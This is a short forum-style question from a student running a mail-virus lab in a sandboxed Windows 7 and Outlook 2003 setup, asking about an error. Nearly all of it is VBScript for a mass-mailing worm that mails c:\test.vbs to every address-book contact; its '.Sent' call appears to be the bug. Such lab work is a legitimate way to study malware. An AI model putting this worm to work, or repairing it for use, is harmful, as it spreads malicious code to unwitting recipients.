在用影子系统下做计算机邮件型病毒实验,用的win7,outlook2003,在C盘根目录下运行vbs文件时报错,
【实验源码】
//code begin
Set objOA = Wscript.CreateObject("Outlook.Application")
Set objMapi = objOA.GetNameSpace("MAPI")
For i = 1 to objMapi.AddressLists.Count
Set objAddList = objMapi.AddressLists(i)
For j =1 To objAddList.AddressEntries.Count
Set objMail = objOA.CreateItem(0)
ObjMail.Recipients.Add(objAddList.AddressEntries(j))
ObjMail.Subject = "你好!"
ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。"
ObjMail.Attachments.Add("c:\test.vbs")
ObjMail.Sent
Next
Next
Set objMapi = Nothing
Set objOA = Nothing
//code end